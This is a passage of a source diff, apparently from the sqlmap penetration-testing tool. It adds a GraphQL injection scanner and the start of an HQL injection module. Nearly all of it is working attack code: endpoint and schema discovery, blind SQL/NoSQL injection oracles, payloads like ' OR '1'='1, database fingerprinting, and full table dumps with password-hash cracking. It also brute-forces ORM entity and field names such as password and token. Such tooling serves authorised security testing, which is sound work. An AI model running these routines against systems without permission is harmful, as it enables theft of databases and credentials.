such cap. + columns = _catList(infer, dialect, dialect.columnCol, dialect.columnFrom(table), label="table '%s' columns" % table) + if not columns: # None (inconclusive) or [] (genuinely no columns) + return None + + count = _inferCount(infer, "FROM %s" % dialect.fromIdent(table), "table '%s'" % table) + if count is None: + return None # UNKNOWN row count - do NOT present as an empty table + + rows, missing = [], 0 + for offset in xrange(min(count, DUMP_MAX_ROWS)): + raw = infer(dialect.row(columns, table, offset), DUMP_MAX_LENGTH) + if raw is None: + missing += 1 # inconclusive row (NOT skipped-as-empty) - count it + continue + cells = raw.split(COL_SEP) + rows.append((cells + [""] * len(columns))[:len(columns)]) + + if missing: + logger.warning("table '%s': %d of %d row(s) were inconclusive and omitted (result is partial)" % (table, missing, min(count, DUMP_MAX_ROWS))) + if count > DUMP_MAX_ROWS: + logger.warning("table '%s' has %d rows; dumping the first %d (DUMP_MAX_ROWS cap)" % (table, count, DUMP_MAX_ROWS)) + + return columns, rows + + +# --- Dump ------------------------------------------------------------------- + +def _dumpInband(endpoint, slot, templatePage): + # Check whether the always-true response carries materially more data than + # the original (in-band data exposure) + origQuery = _buildQuery(slot, "x") + if not origQuery: + return None + origPage, _ = _gqlSend(endpoint, origQuery) + if len(templatePage or "") < len(origPage or "") * 1.25: + return None + return _parseRows(templatePage, slot) + + +def _parseRows(page, slot): + # Parse a GraphQL JSON `data` tree into (columns, rows) + doc = _parseJSON(page) + if not isinstance(doc, dict): + return None + data = doc.get("data") + if not isinstance(data, dict): + return None + for v in data.values(): + if v is None: + return None + if isinstance(v, list): + columns = [] + for item in v: + if isinstance(item, dict): + for k in item: + if k not in columns: + columns.append(k) + rows = [] + for item in v: + if isinstance(item, dict): + rows.append([_cell(item.get(c)) for c in columns]) + return (columns, rows) if rows else None + if isinstance(v, dict): + columns = sorted(v.keys()) + rows = [[_cell(v.get(c)) for c in columns]] + return (columns, rows) + return None + + +def _grid(columns, rows): + # Render a simple ASCII table + if not columns or not rows: + return "(empty)" + widths = [] + for i, c in enumerate(columns): + w = len("%s" % (c,)) + for r in rows: + w = max(w, len("%s" % (r[i] if i < len(r) else "",))) + widths.append(w) + sep = "+-" + "-+-".join("-" * w for w in widths) + "-+" + header = "| " + " | ".join(("%s" % (c,)).ljust(w) for c, w in zip(columns, widths)) + " |" + lines = [sep, header, sep] + for row in rows: + lines.append("| " + " | ".join(("%s" % (row[i] if i < len(row) else "",)).ljust(w) + for i, w in enumerate(widths)) + " |") + lines.append(sep) + return "\n".join(lines) + + +def _renderTypeStr(chain): + # Render a GraphQL type chain: String!, [User], [String!]!, [[Int]!]! ... `chain` is outermost-> + # innermost (see _unwrapType), so wrap the named type INSIDE-OUT (reversed) - composing each + # wrapper around the accumulated string. The old code overwrote a single shared suffix, so a + # nested `[String!]!` collapsed to the malformed `[String!` (list-close lost). + out = _leafName(chain) or "" + for kind, _ in reversed(chain): + if kind == "NON_NULL": + out += "!" + elif kind == "LIST": + out = "[" + out + "]" + return out + + +def _dumpSchema(schema, endpoint): + # Dump the schema as readable tables: types and their fields/arguments + if not schema: + return + + types = schema.get("types") or [] + queryName = (schema.get("queryType") or {}).get("name") + mutationName = (schema.get("mutationType") or {}).get("name") + + rows = [] + for t in types: + if not isinstance(t, dict): + continue + kind = t.get("kind", "") + name = t.get("name", "") + if kind not in ("OBJECT", "INPUT_OBJECT"): + continue + rootTag = "" + if name == queryName: + rootTag = " [Query]" + elif name == mutationName: + rootTag = " [Mutation]" + fields = t.get("fields") or t.get("inputFields") or [] + if not fields: + rows.append([kind, name + rootTag, "", "", "", ""]) + for f in fields: + fName = f.get("name", "") + typeStr = _renderTypeStr(_unwrapType(f.get("type", {}))) + for a in (f.get("args") or []): + aType = _renderTypeStr(_unwrapType(a.get("type", {}))) + strategy = _classifyArg(a.get("type", {})) or "" + rows.append([kind, name + rootTag, fName, typeStr, a["name"], aType, strategy]) + if not (f.get("args") or []): + rows.append([kind, name + rootTag, fName, typeStr, "", "", ""]) + + if rows: + conf.dumper.singleString("GraphQL schema (%s):\n%s" % (endpoint, + _grid(["Kind", "Type", "Field", "Return", "Argument", "ArgType", "Strategy"], rows))) + + +# --- Orchestration ---------------------------------------------------------- + +def _testSlot(slot, endpoint): + """Confirm an injection on `slot` and report it. Returns (oracleType, oracle, detail) + where `oracle` is (truth, truthBatch, dbmsHint) for a usable blind-SQLi primitive (None for an + error-only / non-differential point) and `oracleType` is None when nothing is confirmed.""" + + kind = oracleType = detail = templatePage = dbmsHint = threshold = winningPayload = None + isMutation = slot.operation == "mutation" + + def _boolean(): + return ("boolean",) + _detectBoolean(slot, endpoint) # (kind, oracleType, templatePage, winPayload) + + def _error(): + et, dt, wp = _detectError(slot, endpoint) + return ("error", et, None, wp, dt) + + def _time(): + ot, th, dh, wp = _detectTime(slot, endpoint) + return ("time", ot, None, wp, th, dh) + + # For a MUTATION, run the error-based and (false-condition) probes BEFORE the always-true boolean + # pair, so a write resolver is not driven with a satisfied predicate any earlier than necessary; for + # a query, boolean content inference is the most reliable oracle and is preferred first. + order = ("error", "boolean", "time") if isMutation else ("boolean", "error", "time") + for step in order: + if step == "boolean": + _k, oracleType, templatePage, winningPayload = _boolean() + if oracleType: + kind = "boolean" + logger.info("boolean-based oracle confirmed (%s)" % oracleType) + break + elif step == "error": + _k, errorType, _tp, winningPayload, detail = _error() + if errorType: + kind, oracleType = "error", errorType + logger.info("error-based oracle confirmed") + break + else: + _k, oracleType, _tp, winningPayload, threshold, dbmsHint = _time() + if oracleType: + kind = "time" + logger.info("time-based oracle confirmed (back-end '%s', threshold %.1fs)" % (dbmsHint, threshold)) + break + + if not kind: + logger.info("no oracle confirmed for this slot") + return None, None, None + + # GraphQL is the TRANSPORT, not the vulnerability class. The oracle here is a blind SQL (or, for + # a NoSQL error signature, NoSQL) injection primitive in a resolver - report it as such, with + # GraphQL as the transport and the resolver argument as the location (the reviewer's core point: + # "Type: GraphQL injection" is wrong; it is SQL/NoSQL injection reached VIA GraphQL). + vulnClass = "NoSQL injection" if (oracleType or "").startswith("nosql") else "SQL injection" + location = "%s.%s(%s:)" % (slot.parentType, slot.fieldName, slot.targetArg) + logger.info("%s is vulnerable to %s via GraphQL (%s-based)" % (location, vulnClass, kind)) + title = "%s via GraphQL (%s-based)" % (vulnClass, kind) + # report the EXACT query that established THIS finding (the winning boolean/error/time/nosql + # payload), never a representative SQL-boolean payload for a time- or error-based hit - the shown + # reproducer must actually reproduce the reported issue + payload = _buildQuery(slot, winningPayload) or winningPayload + impactLine = (" Impact: mutation (%s)\n" % _mutationImpact(slot.fieldName)) if isMutation else "" + report = ("---\nParameter: %s (%s)\n Type: %s\n Title: %s\n Transport: GraphQL\n%s" + " Payload: %s\n---") % (location, slot.strategy, vulnClass, title, impactLine, _escapeGraphQLString(payload)) + conf.dumper.singleString(report) + if conf.beep: + beep() + + # In-band exposure: the always-true payload reflecting extra records directly + if kind == "boolean" and templatePage: + rows = _dumpInband(endpoint, slot, templatePage) + if rows: + columns, dataRows = rows + logger.info("in-band data exposure: %d record(s)" % len(dataRows)) + conf.dumper.singleString("GraphQL in-band data for %s.%s(%s:):\n%s" % ( + slot.parentType, slot.fieldName, slot.targetArg, _grid(columns, dataRows))) + + if kind in ("boolean", "time"): + truth, truthBatch = _makeOracle(slot, endpoint, dbmsHint, threshold) + if truth: + return oracleType, (truth, truthBatch, dbmsHint), detail + + return oracleType, None, detail + + +def _enumerate(oracle): + """Drive the blind-SQLi oracle to fingerprint the back-end and enumerate it: + banner, current user/database, the table list, and a full blind dump of every + user table. All of this is recovered without knowing any SQL identifier up front.""" + + truth, truthBatch, dbmsHint = oracle + + dbms = dbmsHint or _fingerprint(truth) + if not dbms: + logger.warning("could not fingerprint the back-end DBMS through the GraphQL oracle") + return + + dialect = DIALECTS[dbms] + logger.info("back-end DBMS: '%s'" % dbms) + conf.dumper.singleString("GraphQL back-end DBMS: %s" % dbms) + + infer = _inferrer(truth, truthBatch, dialect) + + for label, expr in (("banner", dialect.banner), + ("current user", dialect.currentUser), + ("current database", dialect.currentDb)): + if not expr: + continue + value = infer(expr) + if value: + logger.info("%s: '%s'" % (label, value)) + conf.dumper.singleString("GraphQL %s: %s" % (label, value)) + + tables = _catList(infer, dialect, dialect.tableCol, dialect.tableFrom) + if not tables: + logger.warning("no tables recovered through the oracle") + return + + logger.info("fetching tables") + conf.dumper.singleString("GraphQL database tables [%d]:\n%s" % ( + len(tables), _grid(["table"], [[_] for _ in tables]))) + + for table in tables: + parsed = _dumpTable(infer, dialect, table) + if not parsed: + continue + columns, rows = parsed + logger.info("fetched %d entr%s from table '%s'" % (len(rows), "y" if len(rows) == 1 else "ies", table)) + + # Populate kb.data.dumpedTable and feed it through the standard + # password-hash analysis (hash-recognition + optional dictionary-crack) + # BEFORE displaying the dump, so that cracked passwords appear inline + # next to their hashes (matching the regular SQL table-dump workflow) + if len(rows) > 0 and not conf.disableHashing: + oldDumpedTable = getattr(kb.data, "dumpedTable", None) + try: + from lib.utils.hash import attackDumpedTable + kb.data.dumpedTable = {"__infos__": {"count": len(rows)}} + for ci, col in enumerate(columns): + kb.data.dumpedTable[col] = {"values": [row[ci] if ci < len(row) else "" for row in rows]} + attackDumpedTable() + # Re-read the rows: attackDumpedTable() may have appended + # cracked passwords in-place (e.g. "hash (password)") + for ci, col in enumerate(columns): + if col in kb.data.dumpedTable: + vals = kb.data.dumpedTable[col].get("values", []) + for ri in xrange(min(len(rows), len(vals))): + if ci < len(rows[ri]): + rows[ri][ci] = vals[ri] + except Exception: + pass + finally: + kb.data.dumpedTable = oldDumpedTable + + conf.dumper.singleString("GraphQL dump of table '%s' [%d]:\n%s" % ( + table, len(rows), _grid(columns, rows))) + + +def graphqlScan(): + # Entry point for '--graphql': detect the GraphQL endpoint, introspect the + # schema, enumerate injectable argument slots, confirm an injection oracle on a + # query slot, then fingerprint and blind-enumerate the SQL back-end through it + # (banner, tables, full table dumps). Mutation slots are reported but not + # exercised, to avoid modifying server-side data. + + global SENTINEL, COL_SEP + SENTINEL = randomStr(length=10, lowercase=True) + # randomize the per-row cell separator each run: a fixed "~~~" that legitimately occurs in a cell + # would shift every subsequent column on split (silent corruption). A random token can't collide. + COL_SEP = "~%s~" % randomStr(length=12, lowercase=True) + + debugMsg = "'--graphql' is self-contained: it discovers the GraphQL endpoint, " + debugMsg += "enumerates the schema, and injects SQL/NoSQL payloads into reachable " + debugMsg += "argument slots. SQL enumeration switches (e.g. --banner, --dbs, " + debugMsg += "--tables) are ignored" + logger.debug(debugMsg) + + url = conf.url.rstrip("/") if conf.url else "" + + if not url: + logger.error("missing target URL") + return + + # 1. Endpoint detection + logger.info("probing for a GraphQL endpoint") + + # If the user supplied a URL that already contains '/graphql/' (e.g. + # .../graphql/get_int?id=1, the broker probe URL), extract the base so + # that probe paths are not appended to a non-GraphQL sub-path + _m = re.match(r"(https?://[^/]+(?:/[^/]+)*?/graphql)(?:/.*)?$", url.rstrip("/")) + if _m: + url = _m.group(1) + + endpoint, _ = _detectEndpoint(url) + if not endpoint: + logger.error("no GraphQL endpoint found at '%s' (tried %d common paths)" % ( + url, len(GRAPHQL_ENDPOINT_PATHS) + 1)) + return + + logger.info("found GraphQL endpoint at '%s'" % endpoint) + + # 2. Schema introspection + logger.info("introspecting the GraphQL schema") + schema = _introspect(endpoint) + + if schema: + types = schema.get("types") or [] + logger.info("introspection returned %d types" % len(types)) + slots = _extractSlots(schema) + if not slots: + logger.warning("no injectable argument slots found in the schema") + _dumpSchema(schema, endpoint) + return + else: + # Introspection blocked: try to recover the schema from field-suggestion errors + logger.warning("introspection failed (disabled or rejected); trying suggestion-based recovery") + slots = _introspectViaSuggestions(endpoint) + if not slots: + logger.error("could not recover the schema (introspection disabled and no field suggestions)") + return + + querySlots = [_ for _ in slots if _.operation == "query"] + mutationSlots = [_ for _ in slots if _.operation == "mutation"] + + logger.info("enumerated %d injectable argument slot(s): %d query, %d mutation" % ( + len(slots), len(querySlots), len(mutationSlots))) + + # 4. Schema dump (before detection -- matches regular sqlmap table/column + # enumeration preceding data retrieval). Only when introspection succeeded; the + # suggestion-recovered path has no full schema document to render. + if schema: + _dumpSchema(schema, endpoint) + + # 5. Per-slot detection; keep the first usable blind-SQLi oracle for enumeration + oracle = None + found = False + + for slot in querySlots: + logger.info("testing slot %s.%s(%s:) [%s]" % ( + slot.parentType, slot.fieldName, slot.targetArg, slot.strategy)) + + oracleType, slotOracle, _ = _testSlot(slot, endpoint) + if oracleType: + found = True + if slotOracle and not oracle: + oracle = slotOracle + logger.info("retaining %s.%s(%s:) as the blind-SQLi oracle for back-end enumeration" % ( + slot.parentType, slot.fieldName, slot.targetArg)) + + # 5b. Mutation slots are tested AUTOMATICALLY - but only when the (safer) query slots yielded no + # oracle, ranked so read-like mutations (login/verify/token/...) run before write-like ones, and + # each finding is gated by _testSlot's negative control + reproduction (a spurious write cannot be + # reported). Detection uses the error-based / boolean-false / conditional-time probes, which resolve + # in the lookup before any persistence. Impact is classified and reported per vector. As soon as a + # mutation oracle is retained the loop stops, to minimise further writes. + if mutationSlots and not oracle: + logger.info("no query-slot oracle; automatically testing %d mutation slot(s) (read-like ranked first)" % len(mutationSlots)) + for slot in _rankMutations(mutationSlots): + impact = _mutationImpact(slot.fieldName) + logger.info("testing mutation slot %s.%s(%s:) [%s, impact: %s]" % ( + slot.parentType, slot.fieldName, slot.targetArg, slot.strategy, impact)) + oracleType, slotOracle, _ = _testSlot(slot, endpoint) + if oracleType: + found = True + logger.info("mutation %s.%s(%s:) is injectable (impact classification: %s)" % ( + slot.parentType, slot.fieldName, slot.targetArg, impact)) + if slotOracle: + # Detection + report happen for EVERY confirmed mutation. But bulk blind enumeration + # (fingerprint + catalog + full dump = hundreds/thousands of resolver executions) is + # driven ONLY through a READ-LIKE mutation (login/verify/token/...). A write-like / + # unknown mutation is reported but NOT used as the enumeration transport unless its + # non-persistence is verified (a schema-backed, behaviour-confirmed dry-run/rollback - + # not merely a forced dryRun:true, which a resolver may ignore/invert). This keeps + # exploitation automatic without silently committing many writes. + if impact == "read-like" or _dryRunVerified(slot, endpoint): + oracle = slotOracle + logger.info("retaining %s mutation %s.%s(%s:) as the enumeration oracle; stopping further mutation probes" % ( + impact, slot.parentType, slot.fieldName, slot.targetArg)) + break + logger.warning("mutation %s.%s(%s:) is injectable but is WRITE-LIKE/UNKNOWN with unverified " + "non-persistence; reporting it WITHOUT driving bulk blind enumeration through it " + "(that would execute the write resolver many times). Re-target a read-like vector, " + "or expose a verified dry-run/rollback argument, to auto-enumerate through it." % ( + slot.parentType, slot.fieldName, slot.targetArg)) + + # 6. Back-end enumeration through the retained oracle + if oracle: + _enumerate(oracle) + + if not found: + logger.warning("no injectable slots found. The schema is shown above") + + logger.info("GraphQL scan complete") diff --git a/lib/techniques/hql/__init__.py b/lib/techniques/hql/__init__.py new file mode 100644 index 00000000000..bcac841631b --- /dev/null +++ b/lib/techniques/hql/__init__.py @@ -0,0 +1,8 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +pass diff --git a/lib/techniques/hql/inject.py b/lib/techniques/hql/inject.py new file mode 100644 index 00000000000..f880e497af4 --- /dev/null +++ b/lib/techniques/hql/inject.py @@ -0,0 +1,645 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re +import time + +from collections import namedtuple + +from lib.core.common import beep +from lib.core.common import randomStr +from lib.core.convert import getUnicode +from lib.core.data import conf +from lib.core.data import logger +from lib.core.enums import CUSTOM_LOGGING +from lib.core.enums import PLACE +from lib.utils.nonsql import InconclusiveError +from lib.utils.nonsql import INCONCLUSIVE_MARK +from lib.utils.nonsql import userDecision +from lib.utils.nonsql import resolveBit +from lib.utils.nonsql import sqlErrorPresent +from lib.utils.nonsql import blockedStatus +from lib.utils.nonsql import ratio as _ratio +from lib.utils.nonsql import userOracleActive +from lib.core.settings import HQL_CHAR_MAX +from lib.core.settings import HQL_CHAR_MIN +from lib.core.settings import HQL_COMMON_ENTITIES +from lib.core.settings import HQL_ENTITY_REGEX +from lib.core.settings import HQL_ERROR_REGEX +from lib.core.settings import HQL_ERROR_SIGNATURES +from lib.core.settings import HQL_MAX_FIELDS +from lib.core.settings import HQL_MAX_LENGTH +from lib.core.settings import HQL_MAX_RECORDS +from lib.core.settings import UPPER_RATIO_BOUND +from lib.request.connect import Connect as Request +from lib.utils.xrange import xrange + + +SENTINEL = randomStr(length=10, lowercase=True) + + +HQL_PLACES = (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST) + +# Attribute names probed (via an error-vs-valid oracle) once the mapped entity is +# known. HQL has no information_schema, so a mapped attribute either resolves +# (valid query) or raises a PathElementException (error page); that difference is +# the enumeration oracle. Ordered by real-world frequency. +HQL_COMMON_FIELDS = ( + "id", "name", "username", "user", "login", "email", "mail", "password", + "passwd", "pass", "pwd", "secret", "token", "apikey", "role", "roles", + "firstname", "lastname", "fullname", "phone", "address", "city", "country", + "active", "enabled", "created", "updated", "description", "title", "status", + "type", "code", "key", "hash", "salt", "uuid", "owner", "amount", "price", +) + +# Detection boundaries, priority-ordered. Each is (true, false, extraction prefix, +# extraction suffix, sentinel-based). The application's own trailing delimiter +# (the closing quote it appends after the injected value) balances the suffix, so +# no comment is needed (HQL frequently rejects SQL line comments anyway). +_BOUNDARY_TABLE = ( + # (true_breakout, false_breakout, ext_prefix, ext_suffix, sentinel ) + ("' OR '1'='1", "' AND '1'='2", "' OR ", " OR '1'='2", True), + ('" OR "1"="1', '" AND "1"="2', '" OR ', ' OR "1"="2', True), + (" OR 1=1", " AND 1=2", " OR ", "", False), +) + +# Boundary carries the extraction prefix/suffix and whether the base value must be +# a non-matching sentinel (OR-style) so a true predicate flips an empty result set. +Boundary = namedtuple("Boundary", ("prefix", "suffix", "sentinel")) + +Slot = namedtuple("Slot", ("place", "parameter", "backend", "entity", "oracle", "boundary", "payload")) +Slot.__new__.__defaults__ = (None,) * 7 + + + + +def _delim(place): + return (conf.cookieDel or ';') if place == PLACE.COOKIE else '&' + + +def _confParameters(place): + try: + return conf.parameters.get(place, "") + except AttributeError: + return conf.parameters[place] if place in conf.parameters else "" + + +def _originalValue(place, parameter): + for segment in _confParameters(place).split(_delim(place)): + name, _, value = segment.partition('=') + if name.strip() == parameter: + return value + return conf.paramDict.get(place, {}).get(parameter) or "" + + +def _replaceSegment(place, parameter, value): + delimiter = _delim(place) + raw = _confParameters(place) + retVal, replaced = [], False + + for part in raw.split(delimiter): + name, _, _ = part.partition('=') + if not replaced and name.strip() == parameter: + retVal.append("%s=%s" % (name, value)) + replaced = True + else: + retVal.append(part) + + if not replaced: + retVal = [] + for name, oldValue in conf.paramDict.get(place, {}).items(): + retVal.append("%s=%s" % (name, value if name == parameter else oldValue)) + + return delimiter.join(retVal) + + +def _send(place, parameter, value): + """Issue a single HTTP request with the target parameter set to `value`, + temporarily mutating conf.parameters so sqlmap's normal request machinery + (URL construction, cookies, headers, encodings) is fully preserved.""" + + if conf.delay: + time.sleep(conf.delay) + + old_params = conf.parameters.get(place, "") + conf.parameters[place] = _replaceSegment(place, parameter, value) + + try: + if conf.verbose >= 3: + logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value)) + page, _, code = Request.getPage(raise404=False, silent=True) + # a transport failure or a BLOCKED/ERROR status (5xx, 403/429) is not a usable oracle sample - + # signal None so the boolean routines (which reject None) can never decide a bit on it + if blockedStatus(code): + return None + return page or "" + except Exception as ex: + logger.debug("HQL probe request failed: %s" % getUnicode(ex)) + return None + finally: + conf.parameters[place] = old_params + + +def _isError(page): + # an ORM/HQL error body OR a recognized SQL/DBMS error marks a response as NOT a valid boolean + # template (a broken break-out that trips a DBMS syntax error must not fake a boolean oracle). + page = getUnicode(page or "") + return bool(re.search(HQL_ERROR_REGEX, page)) or sqlErrorPresent(page) + + +def _backendFromError(page): + page = getUnicode(page or "") + for backend, regex in HQL_ERROR_SIGNATURES: + if re.search(regex, page): + return backend + return None + + +def _entityFromError(page): + page = getUnicode(page or "") + for regex in HQL_ENTITY_REGEX: + match = re.search(regex, page) + if match: + return match.group(1) + return None + + +def _probeError(place, parameter): + """Break the HQL string/numeric context and look for an ORM parser diagnostic. + Returns (backend, page) - a hint only; the boolean oracle is authoritative.""" + + original = _originalValue(place, parameter) or "1" + normal = _send(place, parameter, original) + + for suffix in ("'", '"', "'||", " and", ")"): + broken = _send(place, parameter, original + suffix) + if not broken or _ratio(normal, broken) >= UPPER_RATIO_BOUND: + continue + backend = _backendFromError(broken) + if backend and not _isError(normal): + return backend, broken + + return None, None + + +def _boolean(truthy, falsy): + """Return the reproducible true page when true/false probes diverge (both must + be independently reproducible), else None.""" + + truePage = truthy() + if truePage is None or _isError(truePage): + return None + if _ratio(truePage, truthy()) < UPPER_RATIO_BOUND: + return None + + falsePage = falsy() + if falsePage is None or _isError(falsePage): + return None + if _ratio(falsePage, falsy()) < UPPER_RATIO_BOUND: + return None + + # honor an explicit user oracle (--string/--not-string/--regexp) over raw similarity + if userOracleActive(): + return truePage if (userDecision(truePage) is True and userDecision(falsePage) is False) else None + + if _ratio(truePage, falsePage) < UPPER_RATIO_BOUND: + return truePage + + return None + + +def _detectBoolean(place, parameter): + """Return (template, payload, boundary) for boolean-blind HQL injection.""" + + original = _originalValue(place, parameter) or "" + + for true_bk, false_bk, prefix, suffix, sentinel in _BOUNDARY_TABLE: + truePayload = original + true_bk + falsePayload = original + false_bk + template = _boolean(lambda p=truePayload: _send(place, parameter, p), + lambda p=falsePayload: _send(place, parameter, p)) + if template: + return template, truePayload, Boundary(prefix, suffix, sentinel) + + return None, None, None + + +def _base(boundary, original): + # OR-style boundaries need a base value that matches no row so a true predicate + # flips an empty result set into a populated one; AND-style keeps the original. + if boundary.sentinel: + return SENTINEL + return "-1" + + +def _wrap(original, boundary, predicate): + return "%s%s%s%s" % (original, boundary.prefix, predicate, boundary.suffix) + + +# HQL/JPQL-only WHERE predicates for positive attribution WITHOUT a reflected ORM error (production +# systems suppress diagnostics). Each pair differs ONLY in the truth of a construct that plain SQL does +# NOT evaluate the same way, so a true/false divergence is attributable to the ORM. +# +# NOTE deliberately NOT using Hibernate CAST type aliases (CAST(x AS string/integer/long/big_decimal)): +# although PostgreSQL/MySQL/MSSQL reject those type names, SQLite accepts ARBITRARY cast type names, so +# `CAST(1 AS string)='1'` is TRUE on plain SQLite and would mis-attribute a SQLite SQL injection as HQL. +# +# `str()` is Hibernate's legacy stringify function and is a clean discriminator across the target +# engines: SQLite/MySQL/MariaDB/PostgreSQL/H2/HSQLDB have NO `str()` function, so the payload ERRORS +# (both sides error -> no divergence -> not confirmed); Microsoft SQL Server's STR(1) yields a +# space-padded ' 1', so BOTH str(1)='1' and str(1)='2' are false (again no divergence). Only a +# Hibernate parser makes str(1)='1' true and str(1)='2' false. A single clean primitive is preferred +# over a broad battery here: on a context that rejects it, attribution simply falls back to +# "indistinguishable from SQLi" (safe under-report), never a false HQL claim. +_HQL_PREDICATES = ( + ("str(1)='1'", "str(1)='2'"), +) + + +def _confirmHql(place, parameter, boundary, original): + """Positive HQL/JPQL attribution with no reflected error: probe the HQL-only battery through the + boolean oracle. Returns True as soon as ANY primitive flips true/false behind the verified boundary; + a plain-SQL target (SQLite included) errors on or evaluates-both-false every one -> no divergence -> + not confirmed as HQL.""" + base = _base(boundary, original) + for truePred, falsePred in _HQL_PREDICATES: + if _boolean(lambda p=_wrap(base, boundary, truePred): _send(place, parameter, p), + lambda p=_wrap(base, boundary, falsePred): _send(place, parameter, p)): + return True + return False + + +def _makeOracle(place, parameter, boundary, original): + """Build the extraction oracle by RECALIBRATING BOTH true and false models on the SAME extraction + base + boundary the predicates use (`_base()` -> SENTINEL/-1, NOT the original-based detection + template). Reusing the detection true template (built with the original value) while extraction + ran on a different base was a base mismatch. Reproduce both, require separable, else None (disable + extraction). Classification is RELATIVE (closer to the true model than the false one, by a margin) + so dynamic drift can't flip a bit.""" + + cache = {} + base = _base(boundary, original) + + def request(payload): + # cache ONLY usable responses - a cached transient failure would freeze a wrong bit forever + if payload not in cache: + page = _send(place, parameter, payload) + if page is not None and not _isError(page): + cache[payload] = page + return page + return cache[payload] + + truePayload = _wrap(base, boundary, "1=1") + falsePayload = _wrap(base, boundary, "1=2") + trueTemplate = request(truePayload) + falseTemplate = request(falsePayload) + + if trueTemplate is None or falseTemplate is None or _isError(trueTemplate) or _isError(falseTemplate): + return None + if _ratio(trueTemplate, _send(place, parameter, truePayload)) < UPPER_RATIO_BOUND: # reproduce true + return None + if _ratio(falseTemplate, _send(place, parameter, falsePayload)) < UPPER_RATIO_BOUND: # reproduce false + return None + if _ratio(trueTemplate, falseTemplate) >= UPPER_RATIO_BOUND: # not separable -> can't extract + return None + + def truth(predicate): + # transport failure / blocked / error response is UNKNOWN, not False: route even a missing + # initial sample through resolveBit() (retry -> InconclusiveError) so a transient failure on a + # true predicate never becomes a permanent false bit that corrupts the bisection + payload = _wrap(base, boundary, predicate) + page = request(payload) + usable = page if (page is not None and not _isError(page)) else None + + def fresh(): + p = _send(place, parameter, payload) + return None if (p is None or _isError(p)) else p + return resolveBit(usable, trueTemplate, falseTemplate, fresh) + + truth.template = trueTemplate + truth.cache = cache + return truth + + +def _leakEntity(place, parameter, boundary, original): + """Force a path-resolution error to leak the mapped entity name. An unqualified + identifier resolves against the query root, so a random one yields e.g. + "Could not resolve attribute 'xyz' of 'com.app.User'".""" + + base = _base(boundary, original) + marker = randomStr(length=8, lowercase=True) + + for reference in ("%s", "u.%s", "e.%s", "o.%s", "x.%s", "this.%s"): + predicate = "%s IS NOT NULL" % (reference % marker) + page = _send(place, parameter, _wrap(base, boundary, predicate)) + entity = _entityFromError(page) + if entity: + return entity + + return None + + +def _shortEntity(entity): + # com.app.model.User -> User ; lab.App$Member -> Member + return re.split(r"[.$]", entity)[-1] if entity else entity + + +def _exists(truth, predicate): + """Existence probe helper: an unmapped entity/attribute makes the ORM query fail + to compile (error page), which for a yes/no existence question is a definitive + 'no'. Unlike value bisection - where a transient error must stay inconclusive so + it never freezes a wrong bit - an inconclusive/error existence probe reads as + false (matching the pre-recalibration oracle semantics these probes rely on).""" + + try: + return truth(predicate) + except InconclusiveError: + return False + + +def _bruteEntities(truth): + """Recover mapped entity names through the boolean oracle alone (no reflected + diagnostic needed): a mapped name keeps the FROM clause valid, an unmapped one + raises UnknownEntityException and reads as false. Returns every match so the + whole reachable model can be dumped, not just the injected query's entity.""" + + retVal = [] + for entity in HQL_COMMON_ENTITIES: + if _exists(truth, "EXISTS(SELECT 1 FROM %s _h)" % entity): + retVal.append(entity) + return retVal + + +def _enumFields(truth, entity): + """Probe common attribute names against the entity; a name that resolves keeps + the query valid (oracle true), a missing one raises and reads as false.""" + + fields = [] + for field in HQL_COMMON_FIELDS: + if len(fields) >= HQL_MAX_FIELDS: + break + predicate = "EXISTS(SELECT _h.%s FROM %s _h)" % (field, entity) + if _exists(truth, predicate): + fields.append(field) + logger.info("identified mapped attribute: '%s'" % field) + return fields + + +# Frequency-ordered printable charset for blind character extraction +_META_ORDS = set(ord(_) for _ in ("'", '"', '\\')) +_FREQ = (tuple(xrange(ord('a'), ord('z') + 1)) + + tuple(xrange(ord('A'), ord('Z') + 1)) + + tuple(xrange(ord('0'), ord('9') + 1)) + + tuple(ord(_) for _ in "@._- +:/")) +_CHARSET = [] +for _ in _FREQ: + if HQL_CHAR_MIN <= _ <= HQL_CHAR_MAX and _ not in _META_ORDS and _ not in _CHARSET: + _CHARSET.append(_) +for _ in xrange(HQL_CHAR_MIN, HQL_CHAR_MAX + 1): + if _ not in _META_ORDS and _ not in _CHARSET: + _CHARSET.append(_) + +# Charset as an HQL string literal for LOCATE()-based binary search: each character's +# 1-based index inside this literal is recovered by bisection (~log2(n) requests vs a +# linear equality scan), and LOCATE is an index lookup so no lexicographic ordering / +# collation assumption is introduced. URL-structural bytes (%, &, +, #, ?) are excluded +# because they cannot survive a raw GET/POST value; such a byte is surfaced as '?' (as +# it was under the previous linear scan). ', ", \ are already excluded above. +_URL_HOSTILE = set(ord(_) for _ in "%&+#?") +_CS_LITERAL = "".join(chr(_) for _ in _CHARSET if _ not in _URL_HOSTILE) + + +def _scalar(entity, attrExpr, pin, after=None): + """Scalar subquery over a single `entity` row selected by the smallest `pin` + (optionally the smallest strictly greater than `after`, to walk rows in order). + Alias-independent, so it works regardless of the outer query's alias. `attrExpr` + is the already-built selected expression (references CAST(_h.<attr> AS string)).""" + + bound = "" if after is None else " WHERE _h2.%s>%s" % (pin, after) + inner = "SELECT %s FROM %s _h WHERE _h.%s=(SELECT MIN(_h2.%s) FROM %s _h2%s)" % ( + attrExpr, entity, pin, pin, entity, bound) + return "(%s)" % inner + + +def _inferValue(truth, entity, attribute, pin, after=None, maxLen=HQL_MAX_LENGTH): + """Blindly recover one attribute value of the row selected by `pin`/`after`.""" + + try: + # length first, by binary search + lengthExpr = _scalar(entity, "LENGTH(CAST(_h.%s AS string))" % attribute, pin, after) + if not truth("%s>=1" % lengthExpr): + return "" + + lo, hi = 1, maxLen + while lo < hi: + mid = (lo + hi + 1) // 2 + if truth("%s>=%d" % (lengthExpr, mid)): + lo = mid + else: + hi = mid - 1 + length = lo + + chars = [] + for pos in xrange(1, length + 1): + # index of this character inside _CS_LITERAL, recovered by binary search + idxExpr = _scalar(entity, "LOCATE(SUBSTRING(CAST(_h.%s AS string),%d,1),'%s')" % (attribute, pos, _CS_LITERAL), pin, after) + if not truth("%s>=1" % idxExpr): + chars.append("?") + continue + + lo, hi = 1, len(_CS_LITERAL) + while lo < hi: 